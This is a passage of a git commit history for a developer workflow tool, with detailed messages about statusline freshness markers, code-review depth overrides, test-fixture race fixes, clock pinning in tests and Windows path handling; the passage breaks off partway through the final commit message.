adb46cdd85add7928977a5664793267efdfca83f
5382 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
Tom Boucher
|
adb46cdd85 |
feat(#2734): surface STATE.md commit-age on the statusline (#3700)
* test(#2734): failing-first suite for the statusline STATE.md freshness marker Binds the contract before any hook change exists: a `state ~N commits back` segment gated on the state_head stamp landed by #2622, firing at the same advisory threshold /gsd-health's W024 uses rather than at > 0. Covers all five acceptance criteria — threshold parity (19/20/21 boundaries), both renderers including formatGsdStateCompact, an exact spawn-count assertion, repo-pinning and sub_repos degradation, and behavioral parity against readStateHeadFreshness rather than a source-grep of the two fence copies. 52 example-based tests plus 5 seeded fast-check properties. Red now by design. * feat(#2734): surface STATE.md commit-age on the statusline Adds an opt-in `state ~N commits back` marker to the GSD-state segment, consuming the `state_head` stamp and freshness contract landed by #2622. A solo developer returning to a project reads "Phase 4, executing" in STATE.md and acts on it, without noticing the codebase moved 40 commits since that line was written. /gsd-health reports it as W024, but only if you think to run it; the statusline is the surface you see without asking. Fires at STATE_HEAD_ADVISORY_COMMITS (20), the same threshold W024 uses, not at > 0: with commit_docs:true the commit carrying a STATE.md sync advances HEAD by one, so > 0 would alarm permanently on a fresh project. Costs exactly one bounded git subprocess per render and none when disabled. `rev-list --left-right --count` answers ancestry and distance together, and repo pinning is a filesystem check mirroring projectOwnsItsRepo rather than a --show-toplevel compare, which is unreliable on macOS /private/var and Windows 8.3 paths. Every unresolvable input degrades to the tri-state unknown -- the marker is absent, never a "fresh" claim the project cannot substantiate: a malformed stamp, a root that does not own its .git, a sub_repos workspace, history rewound past the stamp, or git being unavailable. Also collapses statusline config resolution onto one resolveStatuslineOptions() seam. runStatusline() and renderStatusline() duplicated it byte-for-byte; one copy is what keeps a newly-added key from reaching only one of them. * test(#2734): route the e2e spawn through the process seam and fix fixture leaks Review findings from the two orthogonal passes: - `bothEntryPointsResolveOptionsIdentically` spawned a child and substring-matched its stdout to test a pure function. It now calls resolveStatuslineOptions() directly — no subprocess, no text matching. - `skipsFreshnessWorkWhenTodoTaskActive` genuinely needs a child (the !task gate lives in runStatusline, which reads stdin), so it now spawns through tests/helpers/process-seam.cjs and proves the negative with a filesystem fact: the git shim appends to a marker file on every invocation, and the assertion is that the marker never appears. Stronger than asserting text is missing, and it drops the last stdout substring match in the block. - Every fixture-creating test now registers `t.after(() => cleanup(dir))` instead of a trailing cleanup(dir), which leaked the temp repo on assertion failure. derivationAgreesWithStateModule reassigns `dir` across five fixtures, so it binds each directory at scheduling time rather than cleaning only the last. Also corrects markerCoexistsWithMilestoneComplete, which asserted the wrong expectation rather than finding a code defect: `percent` drives the progress bar too, so the milestone segment reads "v1.9 [##########] 100%". The marker appends after it, which is what the test exists to prove. CONTEXT.md's opt-in statusline key list was missing statusline.show_git as well as the new key; both are now enumerated. * docs(#2734): backfill changeset PR number (#3700) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
2fca0e17e4 |
enhance(#2554): resolve code review depth from path-scoped override rules (#3695)
* test(#2554): failing-first suite for path-scoped code review depth overrides Binds the not-yet-built code-review-depth module: segment-aware path-prefix matching of a changed-file set against ordered {paths,depth} rules, resolution order flag > strongest matching rule > global > standard, typed validation errors, and the large-scope downgrade boundary. Also proves behaviorally that workflow.code_review_depth_overrides is not yet a registered config key. Refs #2554 * feat(#2554): resolve code review depth from path-scoped override rules Adds workflow.code_review_depth_overrides — an ordered array of {paths, depth} rules matched against a review's changed-file set by segment-aware path-prefix comparison. Resolution order is --depth= flag, then the strongest matching rule, then workflow.code_review_depth, then standard; a matching rule replaces the global rather than being max'd with it, so quick and standard rules stay meaningful. Glob metacharacters are a hard configuration error rather than sugar for a prefix, and malformed rules halt the review instead of degrading to standard. The resolver is pure and reports its own provenance, so the workflow can print the resolved depth and the rule that matched. The pre-existing >50-file deep-to-standard downgrade moves into the module and now names the rule it overrode. The key is registered centrally rather than as a capability config slice: the federated slice channel admits only boolean/string/number/enum, so an array slice would be dropped as malformed. Closes #2554 * test(#2554): correct depth-provenance assertions and pin out-of-repo paths Two corrections to the failing-first suite. The source assertion for a non-matching rule with no global configured expected 'config'; with no global set the depth comes from the default, and a companion assertion tolerated either value, so both passed against an implementation that derived provenance from whether any rules existed rather than from where the depth came from. The out-of-repo absolute-path case used a home-directory path that matched neither implementation, so it never exercised the defect it named. It now pins the discriminating cases: an absolute path outside the repo root must not match a repo-relative rule, and one under the root must. * docs(#2554): document path-scoped code review depth overrides Reference rows for workflow.code_review_depth_overrides in the configuration, features and commands references plus the locale copies that carry those tables, and in the planning-config reference. Explanation of why escalation is whole-review rather than per-file and why v1 is prefix-only. New how-to for scoping review depth by path, carrying the configuration-error reason table and the distinction between nothing to report and could not look. CONTEXT.md glossary entry and the INVENTORY row for the new CLI module. ja-JP and ko-KR CONFIGURATION.md carry no code_review keys at all, and ko-KR and pt-BR FEATURES.md carry no code-review config table, so those files are deliberately untouched. * fix(#2554): make the depth-misconfiguration halt executable and reject control chars Three review findings, all in this change. The misconfiguration halt was prose rather than shell: the error-printing fence was followed by an unconditional extraction fence, so an ok:false result threw and left the depth empty instead of stopping the review. Prose is not a guard — the two fences are now one block with a real conditional, and anything that is not the literal string true fails closed. An interior control character in a rule path survived validation and reached the provenance string and the summary box; rule paths now reject control characters via a new PATH_CONTROL_CHAR reason, after the glob check so precedence is unchanged. That in turn makes the field record safe to delimit, so the seven node invocations that each re-parsed the same result to read one field collapse to one. Also corrects the glossary entry's illustrative paths, which the glossary-ref check read as real repository references. * fix(#2554): use the fast-check v4 string API and acknowledge workflow growth Two failures from the remote matrix on d3111f45, both this branch's. The property block built its segment arbitrary with fc.stringOf, removed in fast-check v4. Because the arbitrary is constructed in the describe body, the throw took out all four property tests rather than one — they had never executed. Rewritten to fc.string({unit, ...}), the form this repo already uses in emitted-attribution.test.cjs. Every other fast-check helper in the file was audited against the installed module. The emitted-attribution growth arm needed an acknowledgment for code-review.md, which grew 5376 bytes. The pre-existing 3503 fragment keying the same file is spent — its ripple was absorbed when #3503 merged, and the base file is exactly the 34435-byte baseline this growth is measured against — so it cannot clear anything, while the ack lint hard-fails on a duplicate key across two sources. Removed it in favor of the new fragment, which is exactly how #3503 itself replaced the spent 3191 fragment. * docs(#2554): backfill changeset PR number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
71e00d426e |
fix(#3639): dir-aware sentinel recognition for the disk-side guards (#3698)
* test(#3639): pin bracket sentinel recognition in disk-side guards * fix(#3639): dir-aware sentinel recognition for the disk-side guards * chore(#3639): add changeset * fix(#3639): disclose the digit-continuation residual, join phases-clear, load-bearing over-suppression guard * test(#3639): match the token form W007 reports * chore(#3639): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
66228a89cf |
fix(#3637): carry the full executor contract in the orchestrator-worktree spawn (#3694)
* test(#3637): pin the executor contract in the orchestrator-worktree spawn prompt * fix(#3637): carry the full executor contract in the orchestrator-worktree spawn prompt * fix(#3637): role-definition embed, embed-performance gates, drop stale ack * chore(#3637): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
7fc1561806 |
fix(#3611): decode entity-escaped ampersands and split shell segments quote-aware (#3693)
* test(#3611): pin entity-escaped ampersand chains in the negative-grep gate * fix(#3611): decode entity-escaped ampersands before the negative-grep gate scans * chore(#3611): add changeset * test(#3611): pin entity chains in the 968 detector and quote-aware splits * fix(#3611): quote-aware segment split + entity decode in both plan gates * chore(#3611): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
bad1f045b1 |
fix(#3610): hoist surviving top-level codex config keys to file scope on merge (#3690)
* test(#3610): pin top-level key hoisting above the codex managed block * fix(#3610): hoist surviving top-level keys above the codex managed block * chore(#3610): add changeset * fix(#3610): hoist to file scope (before the first table header) with reviewer-driven coverage * chore(#3610): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
8526bd46f8 |
enhance(#2475): scope ADR-443 item 1 to the operator surface and ratify the ADR (#3688)
* test(#2475): widen the item-1 effort-caller guard to both CLI argument shapes The guard matched only `resolve-execution ... --effort\s`, but the CLI also accepts `--effort=<level>` (gsd-core/bin/gsd-tools.cjs). A workflow written with the equals form was a live invocation-override caller the guard passed silently, along with `--effort` at end-of-input. Lift the matcher to a shared predicate and assert it directly against every shape the CLI accepts, plus the decoys it must not fire on (--effortless, a bare --effort with no resolve-execution, item 6's --attempt caller, a call and flag split across lines). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2475): scope ADR-443 item 1 to the operator surface and ratify the ADR ADR-443 sat at Proposed on one condition: its Decision item 1 orchestrator invocation override needed a caller in shipped orchestration. Per the maintainer's ruling, take unblock path (b) for item 1 only -- record that the override is an operator-facing CLI surface, deliberately not driven by shipped orchestration, and ratify. The ADR's own path (b) wording is not adopted verbatim: it says the scope is limited to static install-time propagation, which is false on both counts -- item 6 has a live caller (#2296) and #2481 delivered a live invocation-time argv channel. Only one precedence step is narrowed. No consumer was invented to clear the gate: nobody has asked for a per-run effort override, and #2475's actual complaint is already closed by the cascade-to-argv path. The amendment states explicitly that --effort remains supported and is not deprecated, so the scoping is not read as dead code. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2475): correct two bare-`gsd` invocation examples to `gsd_run` There is no `gsd` binary -- package.json exposes gsd-core, gsd-tools, gsd_run and gsd-mcp-server. Both sites presented a command that cannot run as written. One is in this branch's own new ADR-443 amendment; the other is a pre-existing error in the docs/CONFIGURATION.md assumption_delta row, fixed here rather than deferred. No translated copy carries either line, so no i18n drift is created. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(#2475): record the guard/CLI divergence risk on the item-1 matcher The predicate independently models gsd-tools.cjs's argument parser rather than sharing a constant with it, so a third --effort spelling would leave the guard reporting green while ADR-443's ratifying invariant silently stopped holding. Name that risk where the next editor will meet it. Also restores the bounded-prose rationale that was attached to the eslint directive removed in 39793079c -- the directive went unused once the regex moved to a const, but the reasoning it carried is still worth having. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tom Boucher
|
ea594300d9 |
fix(#3606): validate hook-kind coverage at call sites and dispatch generically (#3687)
* test(#3606): pin hook-kind coverage in the wired guard * fix(#3606): validate hook-kind coverage at call sites and dispatch generically * fix(#3606): address review - segment-granular narrowing, zero-coverage diagnosis, quick.md, fragment extraction * fix(#3606): drop stale shrink-ack, export HOOK_GROUP_KINDS, dedupe scanner regex * chore(#3606): regenerate install-tree fixtures for new wave-post fragment * chore(#3606): sync canonical launcher preamble into new fragment * fix(#3606): keep fragment preamble ahead of first gsd_run mention * fix(#3606): revert sync script's preamble move in explore.md * chore(#3606): regenerate derived manifests post-rebase * chore(#3606): allowlist peer test files - base was red on the count lane * chore(#3606): regenerate inventory for peer's verify-command-grounding doc * chore(#3606): grounding test maps to its own module by longest prefix * chore(#3606): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
79781e68eb |
enhance(#2401): ground verify-command paths and inherit prior-phase commands (#3678)
* feat(#2401): ground <automated> verify-command paths and inherit prior-phase commands Adds a deterministic resolvability probe over each PLAN.md <automated> verify command and surfaces the nearest prior phase's proven commands to the planner at every context window. - src/verify-command-grounding.cts: recognizer (not a shell interpreter) that grounds a leading cd <literal> chain and npm --prefix <literal>, and reports unresolvable rather than guessing. Never executes command text. - gsd-tools check verify-command-paths <N>: per-phase probe, wired into plan-phase.md before the plan-check pass. - init.plan-phase gains prior_verify_commands, ungated by context_window. - gsd-plan-checker: new Verify Command Path Resolvability dimension that reports the failing target and never prescribes a replacement. Also fixes first-match-wins prefix bucketing in scripts/lint-test-file-count.cjs (readdir order is not stable across platforms, so a module whose name extends another's with a hyphen bucketed differently on Linux than on macOS). Closes #2401 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2401): ground the canonical --prefix form, quoted paths, and absolute cd resets Independent review found three defects in the recognizer: - npm --prefix DIR run SCRIPT never reached the script-existence check, because the pattern required npm and run to be adjacent. That is the form the docs tell planners to prefer, so script_missing never fired for it. The prefix flag and its value are now stripped before matching. - --prefix captured with \S+, so a quoted path containing a space was truncated to a stray opening quote and reported as a missing directory - a false blocker, worse than the bug this feature fixes. The capture is now quote-aware. - A chained cd whose later segment was absolute concatenated instead of resetting, producing a nonsense path and another false blocker. The fold now resets on an absolute segment. Also replaces the bespoke phase-directory regex with the canonical phase-id helpers. Real phase directories are NN-slug, not phase-N-slug, so the prior-command harvest matched nothing outside its own fixtures and the planner-inheritance half of this feature was dead code. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * refactor(#2401): source task blocks from the canonical sectionizer The module carried its own copy of the <task>-block grammar - a fourth hand-rolled mirror of the one markdown-sectionizer owns. verify.cts keeps its copy only because it needs the type= attribute the canonical helper discards; this module never reads that attribute, so it can share the owner outright instead of adding a test around a copy. extractAutomatedCommands now takes task bodies from extractTaggedBlocks and the out-of-task remainder from stripTaggedBlocks. A task-grammar parity test pins the attributed task-name set against the canonical helper across six awkward task shapes. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2401): extract agent-file overflow to references and repair the property arbitrary The remote matrix run came back red with 19 failures, four root causes: - agents/gsd-plan-checker.md and agents/gsd-planner.md both blew the 49152 agent cap. Their bodies move to gsd-core/references/, leaving @-reference stubs, per the documented overflow pattern. - The new checker dimension invoked gsd_run before the canonical preamble that defines it. The call is deleted outright: plan-phase.md already runs the probe and hands the result in as {VERIFY_PATHS}, so the dimension consumes that rather than re-running anything. - fc.fullUnicodeString does not exist in fast-check 4.8.0. Replaced with fc.string({ unit: 'binary' }), which covers the same 0000-10FFFF range. - Three runtime-loaded files grew; acknowledged in the existing ack fragments that already own those bare filenames, since two ack sources may never name the same path. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(#2401): regenerate golden install-tree fixtures for the new references Adding two files under gsd-core/references/ changes what the installer emits into every runtime's tree, so all 19 golden install-parity fixtures went stale. Regenerated with npm run gen:install-tree; the delta is exactly the two new reference paths per runtime, no removals. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(#2401): backfill changeset pr number to 3678 * fix(#2401): treat ~ as a home expansion only at the start of a path Windows CI caught this on both shards; the Linux-only remote matrix cannot see it. The dynamic-path refusal rejected ~ anywhere, and a GitHub Windows runner's tmpdir is an 8.3 short name - C:\Users\RUNNER~1\AppData\Local\Temp - so a valid absolute Windows path came back unresolvable/dynamic_path. This was a production bug, not a test artifact: any Windows user whose project path carries an 8.3 short name, or any literal ~, silently lost the probe entirely - every command degrading to unresolvable with no explanation. ~ is a home expansion only at the start of a path; elsewhere it is an ordinary literal. The check is now split: $, backtick, *, ? and newline stay refused anywhere (substitution and globs, and the glob characters are illegal in Windows path components regardless), while ~ is refused only leading, tolerating one leading quote since the check runs before quote stripping. The prior tests only caught this on Windows because only Windows puts a ~ in tmpdir. Four new tests pin it on every platform via a fixture directory literally named RUNNER~1. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tom Boucher
|
4e60dba717 |
fix(#3604): make glossary ref visibility independent of backtick parity (#3680)
* test(#3604): pin parity-dependent ref visibility in the glossary gate * fix(#3604): make glossary ref visibility independent of backtick parity * chore(#3604): regenerate CONTEXT-INDEX for corrected predicates * chore(#3604): regenerate examples CONTEXT-INDEX for corrected predicates * fix(#3604): complete retired-family exemptions and pin the guard rails * chore(#3604): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
7cf6a079fa |
fix(#3602): bind model resolution for every workflow subagent spawn (#3670)
* test(#3602): guard every spawned gsd-* subagent has a model resolution * fix(#3602): bind model resolution for every workflow subagent spawn * test(#3602): merge drift-ack entries into their owning fragments * fix(#3602): address review findings - docs-update verifier binding, ack merge, guard residuals * chore(#3602): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
dae134b960 |
test(#2650): bound the stall-watch fan-out with the class norm that reddened windows shard 1/3 (#3671)
* test(#2650): failing-first coverage for the mis-sized stall-watch bound Lands the regression matrix before the fix. Two assertions fail deterministically on this commit because the helper still calls raw spawnSync with a hard-coded 10000ms bound: 1. The process seam is never reached, so a mock.method spy on it records nothing and the class-norm bound cannot be observed. 2. A raw spawnSync result carries no outcome/timedOut field at all — which is precisely why the windows shard 1/3 failure printed 'null !== 0' instead of naming the timeout or the bound it exceeded. The bound is sized for the wrong class of call. extractStallHelpersBash slices the entire bash fence, whose runtime-launcher preamble resolves gsd-tools.cjs and really runs two config-get lines — two Node spawns, measured 236ms against 2ms for the fallback the existing comment claims fires (118x). tests/helpers/timeouts.cjs already owns this class as HOOK_FANOUT_TIMEOUT_MS and its comment records the identical failure on PR #3285. Refs #2650 * test(#2650): bound the stall-watch fan-out with the class norm and report it typed Drives the failing-first coverage from 15aaef4a7 green (5 failures -> 0). runBashScript now routes through tests/helpers/process-seam.cjs instead of a hand-rolled spawnSync, which CONTRIBUTING.md already requires of anything that shells out. The bound moves from a hard-coded 10000ms literal to HOOK_FANOUT_TIMEOUT_MS. That constant already exists for exactly this shape — a bash invocation that fans out to nested subprocesses — and its own comment records the identical failure on PR #3285: a bound sized for the wrong class, not a slow machine. This script is that shape: the extracted fence opens with the runtime-launcher preamble, which resolves gsd-tools.cjs and really runs two config-get lines. The result is now typed. spawnSync reports a kill as status:null, so an exceeded bound reached the call sites as 'null !== 0' — naming neither the timeout nor the bound it exceeded. OUTCOME.TIMED_OUT names itself. status is still aliased from exitCode so the five existing assertions read unchanged. Corrects the comment that caused the mis-sizing: it claimed gsd_run is undefined so the '|| echo' fallback fires. It is not — the preamble defines it, and the two Node spawns are real (236ms vs 2ms, 118x). They are deliberately left in place; removing them would change what the extracted script executes. Also drops two now-dead '{ timeout: 10000 }' call-site options. The seam reads only its own documented keys, so those would have been silently ignored while still reading as a 10s bound. Refs #2650 * test(#2650): make the boundary test a real value-domain boundary Standards review flagged that the previous 'bound boundary' test repeated the TIMED_OUT arm the test above it already covers, and was not a limit-1/limit/limit+1 in any meaningful sense — an exact-millisecond timing edge would have been a race, not a boundary. Replaced with a boundary on the VALUE DOMAIN of the bound itself: 0 and -1 must be rejected with TypeError, and 1 (the smallest positive value) must be accepted. Zero is the load-bearing case — spawnSync reads it as 'no timeout at all', which is exactly the unbounded-spawn hazard local/no-unbounded-spawn exists to prevent, so the seam rejects it rather than honouring it. Also asserts the rejection path does not leak the script temp dir, since the throw escapes through runBashScript's finally. Soak: zero=TypeError, negative=TypeError, one=no-throw, leaked dirs=0. Refs #2650 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
8d1f770dfe |
test(#3395): pin the clock and scope the stale-prose scan that reddened windows shard 2/3 (#3669)
* test(#3395): failing-first coverage for the silently-ignored clock pin Lands the regression matrix BEFORE the fix so the failure is proven rather than asserted. Three assertions fail deterministically on this commit: 1. PINNED_ENV does not actually pin. `_pinnedNowMs()` (src/clock.cts) returns null unless GSD_TEST_MODE is set, so GSD_NOW_MS alone is discarded and last_updated is stamped from the live wall clock. An instant ending ...:35.149Z contains the substring 35.1, which is what reddens the windows-latest shard 2/3 lane roughly 1 run in 600. 2. The colliding-instant regression cannot reach its instant, for the same reason. 3. The #3052 same-date test never lands on 2020-09-10, so it has been exercising the different-date path and passing for the wrong reason. Also adds currentPositionBlock() plus boundary (ms 099/100/199/200, second 34/35/36, LF and CRLF) and two-arm fast-check coverage for the scoped read the fix will switch to. Refs #3395 * test(#3395): pin the clock and scope the stale-prose scan to the body Drives the failing-first coverage from a5a919ffb green. Two changes, both needed: 1. PINNED_ENV now sets GSD_TEST_MODE alongside GSD_NOW_MS. _pinnedNowMs() (src/clock.cts:44) returns null without it, so the pin was silently discarded and last_updated carried a live wall-clock instant. src/clock.cts is deliberately NOT changed: requiring both keys is what stops an ambient GSD_NOW_MS from freezing a production clock, so the caller was the side that was wrong. 2. The stale-prose assertion now reads currentPositionBlock(stateContent) instead of the whole document. Frontmatter is not phase prose, and an instant ending ...:35.149Z contains the substring 35.1 — which is exactly how a document with no stale prose in it produced 'the stale 35.1 phase prose must be refreshed away'. Confirmed hypothesis: the two defects compose. The inert pin supplies a live timestamp; the whole-document scan turns it into a failure. Either alone is latent, which is why this sat unnoticed for five days and then reddened a lane the release never touched. Also corrects two things the failing-first run exposed. The property test used fc.date() without noInvalidDate, so ~1 sample in 300 was an Invalid Date whose toISOString() threw (counterexample: new Date(NaN)); re-soaked at 5000 runs. And a precondition assertion added to the #3052 block was measured to pass with or without the pin, so it was removed rather than shipped as vacuous truth — last_activity there is body-derived, not clock-derived. Refs #3395 * test(#3395): apply review findings — pin #3052, one fixture builder, CRLF coverage Spec-axis review caught a real slip: the #3052 block carried a comment saying its pin was being added as hygiene, but the RED-state revert had removed GSD_TEST_MODE and the fix commit never restored it. A comment describing an action that was not taken is worse than either doing it or leaving it alone — the pin is now actually there. Standards-axis review flagged the same frontmatter+heading fixture shape being rebuilt in three tests. Extracted one stateDoc({iso, lines, eol}) builder; eol is a parameter rather than a constant because the helper's CRLF behavior is a claim under test. Self-review finding: CRLF was only exercised on a single-heading document, and the following-heading case only under LF — so the exact claim the helper's comment rests on (`\n## ` matches inside `\r\n## ` because the CR precedes the newline) was never actually run. The control test now loops both line endings WITH a following heading. Also drops a comment that restated the PINNED_INSTANT rationale verbatim. Refs #3395 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
cd22667b27 |
Merge pull request #3668 from open-gsd/chore/backmerge-main-to-next-b0ccf790
chore: back-merge main → next (
|
||
|
github-actions[bot]
|
02fd1cfc8e |
chore: back-merge main into next (b0ccf790)
|
||
|
Tom Boucher
|
552d146086 |
Merge pull request #3667 from open-gsd/chore/sync-next-version-1.11.0
chore: sync next package version to 1.11.0 |
||
|
github-actions[bot]
|
97ca69a53e | chore: sync next package version to 1.11.0 | ||
|
Tom Boucher
|
b0ccf790f8 |
Merge pull request #3666 from open-gsd/release/1.11.0
chore: merge release v1.11.0 to main |
||
|
github-actions[bot]
|
182f60b4c1 | chore: promote CHANGELOG for v1.11.0 | ||
|
github-actions[bot]
|
61e30c465b | chore: bump version to 1.11.0 for release | ||
|
Tom Boucher
|
249c586a40 |
fix(3582): stop the cold-tree guard from racing the builders it guards against (#3665)
The guard added in #3656 asserts that this test leaves the real repo hooks/ directory alone. It compared a RAW listing before and after — and just failed on the runner: the real repo hooks/ directory listing must be unchanged by this test - '.dist-staging-20858', 'dist', ... Nothing was wrong with the test's own behaviour. A CONCURRENT scripts/build-hooks.js — nine test files invoke it from before() hooks — created hooks/.dist-staging-20858 inside the comparison window. The assertion assumed the shared hooks/ directory is stable for the duration of a test, which is precisely the assumption this line of work exists to disprove. The race-detector raced. The intent is right and is kept: this test must not add or remove anything in the repo. Only the comparison changes — both snapshots are now filtered through shouldCopyHookEntry, the same rule the fixture itself uses, so transient build scratch that is not this test's doing and is excluded from the fixture anyway no longer registers as a difference. Proven by execution: with a .dist-staging dir injected mid-window the filtered listings compare equal, while the unfiltered listings provably differ by exactly that entry — so the old comparison would have failed and the new one is immune rather than merely quieter. The injected directory is removed afterwards and hooks/ is confirmed byte-identical. Checked for the same shape elsewhere: this is the only raw listing comparison of the live hooks/ directory in the file or the repo. The second title in the failure output is the describe() wrapper around this same test, not a sibling. Refs #3582 Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
1bf73d957b |
enhance(#2295): record the resolved model per reviewer in REVIEWS.md frontmatter (#3649)
* test(#2295): failing-first coverage for per-lane resolved-model recording * feat(#2295): record the resolved model per reviewer lane * docs(#2295): document the recorded reviewer model and its provenance * fix(#2295): refuse control characters in a recorded model value * test(#2295): correct watermark assertions for the widened mark shape * fix(#2295): anchor the role-manipulation injection pattern at a word boundary * feat(#2295): record the applied reasoning effort in the model value * chore(#2295): backfill changeset pr number * chore(#2295): restore em-dash in changeset body --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
1adf6d2245 |
fix(#3620): point the docs at files that actually exist (#3658)
* fix(3620): point the docs at files that actually exist docproof found 34 stale references; the reporter hand-read all 34 and reported the 8 that are real, explaining why the other 26 are deliberate (files the documents themselves label legacy or "superseded by", and one pre-Diataxis link label whose target still resolves). Those 26 are left alone — re-touching them would contradict the issue's own analysis. Every claim was re-verified against git ls-files at HEAD before editing. docs/INVENTORY.md said its roster is anchored by six drift-control tests. Five are gone (commands-doc-parity, agents-doc-parity, cli-modules-doc-parity, hooks-doc-parity in 5d8a8c4d; command-count-sync in |
||
|
Tom Boucher
|
4e70b245e8 |
fix(#3582): stop the cold-tree fixture racing concurrent hook builds (#3656)
* fix(3582): stop the cold-tree fixture racing concurrent hook builds Two tests in tests/gsd-check-update-worker-platform-gate.test.cjs failed a verification run with `ENOENT: no such file or directory, lstat '/work/hooks/.dist-staging-20836'`. This is a race I introduced in #3582, not a flake, and it passed when #3582 merged because it only fires when the timing lines up. buildColdInstallTree() copied the LIVE repo hooks/ directory with a filter that excluded only the basename 'dist'. scripts/build-hooks.js writes atomically through a per-PID staging dir, hooks/.dist-staging-<pid>, and removes it when finished — and the archived build-hooks-atomic-write changeset records that NINE test files invoke build-hooks.js from their before() hooks. So several test processes create and delete staging directories inside hooks/ while other tests are reading it. cpSync enumerated one, and the owning process removed it before cpSync got to it. The helper's own header already states the rule it needed: hooks/dist is excluded because it "is not present in a raw marketplace checkout either". hooks/.dist-staging-* is gitignored (.gitignore:21) and equally absent from a raw checkout — it was simply missed. Fixed by enumerating hooks/ explicitly and skipping 'dist' and any '.dist-staging' prefix BY NAME, before anything stats or copies the entry, then copying each surviving entry individually. A name-first skip means a vanishing staging dir is never touched at all. Worth recording because it corrects the assumption this fix was written under: cpSync's filter IS invoked before the entry is lstat'd, and returning false leaves it untouched (verified by deleting inside the callback and returning false — no throw). So merely adding '.dist-staging' to the old filter would also have closed the race. The explicit enumeration was kept anyway so correctness does not depend on that Node implementation detail. Proven by execution both ways: with a staging dir planted in hooks/, the OLD cpSync-with-filter form copied it straight through into the fixture, while the new form succeeds and produces no .dist-staging entry with the real hook set intact. Regression test added beside the existing cold-tree tests: it plants a real hooks/.dist-staging-test-<random>, asserts the fixture builds clean without it, and removes only the directory it created. Repo swept for the same exposure: this helper is the only place doing a bulk enumeration of the whole live hooks/ tree. The other hooks/-touching tests reference specific named files or hooks/dist/ and are not exposed. scripts/build-hooks.js is deliberately untouched — its per-PID staging is what makes its own writes atomic and is correct. Refs #3582 * fix(3582): make the race regression test hermetic instead of mutating the live tree The regression test added in the previous commit failed the runner with "failed running after hook", and it was wrong in two ways — the second one worse than the first. cleanup() (tests/helpers.cjs:452-487) deliberately THROWS for any path outside the known temp roots. The test planted hooks/.dist-staging-test-<random> inside the repo and then asked cleanup() to remove it, so the after-hook threw. That guard is correct and is left alone. The real problem is that the test mutated the LIVE hooks/ directory while other test files concurrently read it — the exact shared-state hazard this change exists to remove. A regression test for a race must not introduce one. buildColdInstallTree now takes an optional opts.repoRoot (defaulting to the real REPO_ROOT and used for both copies it performs), so the test builds a fake repo root under the temp dir, plants representative hooks plus dist/ and .dist-staging-99999/ THERE, and asserts the fixture excludes both. All six pre-existing callers pass no arguments and are unaffected. The test also asserts the real hooks/ listing is identical before and after, so a future edit that reintroduces live-tree mutation fails loudly. The name rule is now pinned directly rather than only through the copy. shouldCopyHookEntry is exported and asserted, including the two cases a sloppier implementation would get wrong: 'dist-staging-no-dot' and 'distant.js' must both be KEPT. Anything matching on a loose 'dist' substring or startsWith passes every other case and fails those two. Also corrected the issue number on the tests introduced here: they were labelled #3631, which is the unrelated capability-consent bytecode work. This is #3582. Verified by execution: the predicate rule holds on all nine cases; a fake-root fixture yields exactly the representative hooks with dist and .dist-staging excluded; the no-arg default still copies the real tree (29 entries); and the real hooks/ listing is byte-identical before and after. Refs #3582 * chore(3582): re-trigger CI after an orphaned Validate Branch Name run The Validate Branch Name run for this branch (32211622051) sat queued from 03:17 and was never picked up — updatedAt never advanced past createdAt while the same workflow completed normally for other branches. `gh run rerun` refused it ("already running") and `gh run cancel` returned HTTP 500, so the run is orphaned on the GitHub side. Closing and reopening the PR re-fired the other pull_request workflows but not that one, whose triggers evidently do not include reopened. An empty commit is the remaining way to get a fresh run. No file changes: the tree is identical to dc71534b6, whose remote-runner pass carries forward unchanged. Recording this rather than admin-merging past the pending check. Everything else was green (24 pass, 0 fail), but admin merge is sanctioned only for the missing-secondary-reviewer case, never to skip a gate that has not actually run. Refs #3582 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
9e4f0e99ad |
fix(#3631): exclude only __pycache__-resident bytecode from the consent digest (#3650)
* test(3631): failing-first coverage for bytecode-cache in the consent hash
bundleContentHash digests a walk with no exclusion, so a routine 'python3 -m unittest'
inside a Python-backed capability bundle writes __pycache__ under the bundle, the
recomputed hash stops matching the consent record, and the capability silently goes
inactive — no error, no warning, and loop render-hooks then omits its step and gate.
Two distinct triggers, and the second is the sharper one: collectBundleEntries pushes a
{kind:'dir'} entry for EVERY directory and the digest emits a TAG_DIR marker for it, so an
EMPTY __pycache__/ flips the hash before a single .pyc is written. A fix filtering only
*.pyc would leave that live. Verified by execution against the built lib: 5 of 7 probe
rows diverge from intent today, including the empty-directory row.
The anti-regression rows are the point of the shape: editing a real scripts/m.py and
adding node_modules/pkg/index.js must BOTH still change the hash. node_modules is
deliberately not excludable — its contents are required at runtime, so dropping it from
the digest would stop consent binding executable content. The symlink row pins ordering:
